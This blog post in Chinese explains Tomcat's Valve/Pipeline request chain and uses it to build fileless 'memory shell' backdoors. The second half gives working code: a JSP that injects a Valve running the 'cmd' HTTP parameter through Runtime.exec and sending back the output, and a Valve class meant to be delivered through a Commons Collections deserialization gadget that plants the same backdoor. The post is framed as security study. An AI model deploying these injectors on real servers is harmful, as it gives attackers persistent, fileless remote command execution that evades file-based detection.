继续tomcat内存马,这次是Valve(阀门)
在Tomcat中,Valve(阀门)是一种基本的组件,用于处理传入请求和传出响应。它们是Tomcat容器处理请求的一部分,可以被添加到特定的容器(如Engine、Host或Context)来提供额外的功能。
Valve可以被用于以下目的:
- 记录日志:Valve可以用于记录访问日志、错误日志等。
- 认证和授权:Valve可以用于实现用户认证和授权。
- 安全性:Valve可以用于实施防火墙、IP过滤等安全性功能。
- 性能监控:Valve可以用于监控请求处理性能,识别潜在的瓶颈。
- 请求修改:Valve可以修改传入请求或传出响应的内容。
- 负载均衡:Valve可以用于实现负载均衡策略。
了解Valve也需要知道他作用在哪里,然后就又牵扯到了tomcat的管道机制:
Tomcat的管道机制是指在处理HTTP请求时,将一系列的Valve按顺序链接在一起形成一个处理管道。每个Valve负责在请求处理过程中执行特定的任务,例如认证、日志记录、安全性检查等。这样,请求就会在管道中依次经过每个Valve,每个Valve都可以对请求进行处理或者传递给下一个Valve。
Tomcat中的管道机制主要包括以下几个重点:
- Container:在Tomcat中,容器是处理HTTP请求的主要组件。容器可以是Engine、Host或Context,它们之间具有包含关系。一个Engine可以包含多个Host,一个Host可以包含多个Context。
- Valve:Valve是用于处理请求和响应的组件,是Tomcat管道机制的核心。每个容器都可以包含一个或多个Valve。在处理请求时,请求会被送入容器的第一个Valve,然后根据配置的Valve顺序,请求会在管道中依次经过每个Valve。每个Valve都可以在处理请求的不同阶段插入自定义逻辑。
- Pipeline:Pipeline是Tomcat中的管道对象,它持有一系列Valve,并负责按顺序执行这些Valve。每个容器(Engine、Host或Context)都有一个关联的Pipeline。Pipeline的执行顺序与Valve在配置文件中的顺序一致。
- Valve基类和接口:Tomcat提供了
org.apache.catalina.Valve
接口和org.apache.catalina.ValveBase
基类来方便Valve的实现。编写自定义Valve时,可以实现Valve
接口或继承ValveBase
类。- Valve链:Valve链是Pipeline中Valve的有序集合。请求在Valve链中依次流经每个Valve,直到到达最后一个Valve。
理论知识看完,就得来看一下Valve的具体应用了,以tomcat8.5.73为例
直接断点来到org.apache.coyote.http11.Http11Processor#service
调用连接器服务,向下跟
org.apache.catalina.connector.CoyoteAdapter#service
获取Engine,并且获取StandardEngine对应的StandardPipelive,然后调用它的first-valve
org.apache.catalina.core.StandardEngineValve#invoke
这个Valve好像就只是判断了一下是否有错啥的,也没做啥,不过这不是重点,重点是:StandardEngine中的valve走完了,最后是调用StandardHost中的first-valve,到一个新的组件中了,调用first很容易理解
org.apache.catalina.valves.AbstarctAccessLogValve#invoke
org.apache.catalina.valves.ErrorReportValve#invoke
org.apache.catalina.core.StandardHostValve#invoke
到这里,开始使用StandardContext获取对应的StandardPipeline
org.apache.catalina.authenticator.AuthenticatorBase#invoke
org.apache.catalina.core.StandardContextValve#invoke
这个valve就干了一些正经事了,主要是以下几件事
- 禁止直接访问WEB-INF或META-INF下的资源
- 选择对应的Warpper
- 是否支持异步
org.apache.catalina.core.StandardWarpperValve#invoke
到这里就算是走到终点了,接下来就是处理调用Filter链、Servlet处理请求了
换个图显示一下,就是如下这种形式
再改一下图,就是这种的了
除了basic之外,first和next都可以是空,从StandardEngine的first-valve --- > StandardWarpper的baisc-valve,整个这个算是构造成了一条valve链,请求时,依次执行,业务逻辑执行结束后,依次返回。
大概了解了valve是干什么的之后,就可以尝试自行实现一个valve了,从上面能够看出,在Engine、Host、Context、Warpper这四个组件中,其实都有一些固有的Valve,比如StandardWrapperValve
,StandardHostValve
,而这些类其实又都是继承了BaseValve
然后就是照着写就完了,重点就是invoke
public class TestValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("自定义的valve执行...");
// 防止程序到这中断,需要继续调用下一个valve
getNext().invoke(request,response);
}
}
同时这四个组件都有对应的StandardPipeline
,虽然类都是那个类,但是里面的内容确实有一定区别的(主要体现在对应不同组件时,里面的valve不一样),来看一下这个类
在理解管道机制之后看这个类也是比较轻松的,有几个对于valve比较关键的方法,也都在图中进行了标注,需要格外注意的就是org.apache.catalina.core.StandardPipeline#addValve
了
到这里,其实还有一点,就是如何向特定的组件(Engine、Context等)添加Valve,其实在前面的处理流程成有一定的提示,比如wrapper.getPipeline().getFirst().invoke(request, response);
这段代码,首先通过StandardWrapper
获取对应的StandardPipelive
,然后获取first-valve,再调用invoke
所以,想要向指定的组件内添加Valve就首先要获取对应组件的对象,然后getPipeline().addVlave(new TestValve())
上代码,比如向Engine组件中添加Valve
@WebServlet(name = "addEngineValve", value = "/addEngineValve")
public class AddEngineValve extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
Field fieldRequest = request.getClass().getDeclaredField("request");
fieldRequest.setAccessible(true);
Request req = (Request) fieldRequest.get(request);
// 获取StandardContext
StandardContext standardContext= (StandardContext)req.getContext();
// 获取StandardHost
StandardHost standardHost = (StandardHost) standardContext.getParent();
// 获取StandardEngine
StandardEngine standardEngine = (StandardEngine) standardHost.getParent();
// 添加自定义的valve
standardEngine.getPipeline().addValve(new TestValve());
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request,response);
}
}
接下来就是通过jsp来实现valve的内存马了,写法几乎一模一样
<html>
<head>
<title>JSP动态注入Valve</title>
</head>
<body>
<%!
public class ShellValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
response.setContentType("text/plain");
response.setCharacterEncoding("utf-8");
String cmd = request.getParameter("cmd");
try {
// 执行系统命令
Process process = Runtime.getRuntime().exec(cmd);
// 读取命令输出
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
// 等待命令执行完成
int exitCode = process.waitFor();
output.append("\n命令执行完成,退出码为 " + exitCode);
// 输出命令输出结果到客户端
response.getWriter().print(output.toString());
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
getNext().invoke(request,response);
}
}
%>
<%
try {
Field fieldRequest = request.getClass().getDeclaredField("request");
fieldRequest.setAccessible(true);
Request req = (Request) fieldRequest.get(request);
StandardContext standardContext= (StandardContext)req.getContext();
StandardWrapper standardWrapper = (StandardWrapper) req.getWrapper();
StandardHost standardHost = (StandardHost) standardContext.getParent();
StandardEngine standardEngine = (StandardEngine) standardHost.getParent();
// 向那个组件中添加,就使用哪个组件获取对应的StandardPipeline
Valve shellValve = new ShellValve();
standardEngine.getPipeline().addValve(shellValve);
} catch (Exception e) {
e.printStackTrace();
}
%>
</body>
</html>
反序列化实现Valve内存马时,就不能继承ValveBase这个类了,而是需要实现Valve接口,因为java的单继承模式。
服务端就是接收base64编码后的序列化字符串,解码,然后反序列化,CC的版本为3.1,然后还是使用CC3
public class SerValve extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet implements Valve {
static {
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// StandardContext
Context context = webappClassLoaderBase.getResources().getContext();
context.getPipeline().addValve(new SerValve());
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public Valve getNext() {
return null;
}
@Override
public void setNext(Valve valve) {
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
try {
if (cmd != null && cmd != "") {
Process process = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
process.waitFor();
response.getWriter().write(output.toString());
}
} catch (Exception e) {
e.printStackTrace();
}
request.getContext().getPipeline().getBasic().invoke(request,response);
}
@Override
public boolean isAsyncSupported() {
return false;
}
}
个人感觉绕的地方就是在于每个组件都有对应的StandardPipeline
,一开始跟的时候,以为就一个StandardPipeline
发现莫名其妙里面的值就变了,绕了一段时间。最后,文章写的不咋样,望见谅。
6 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!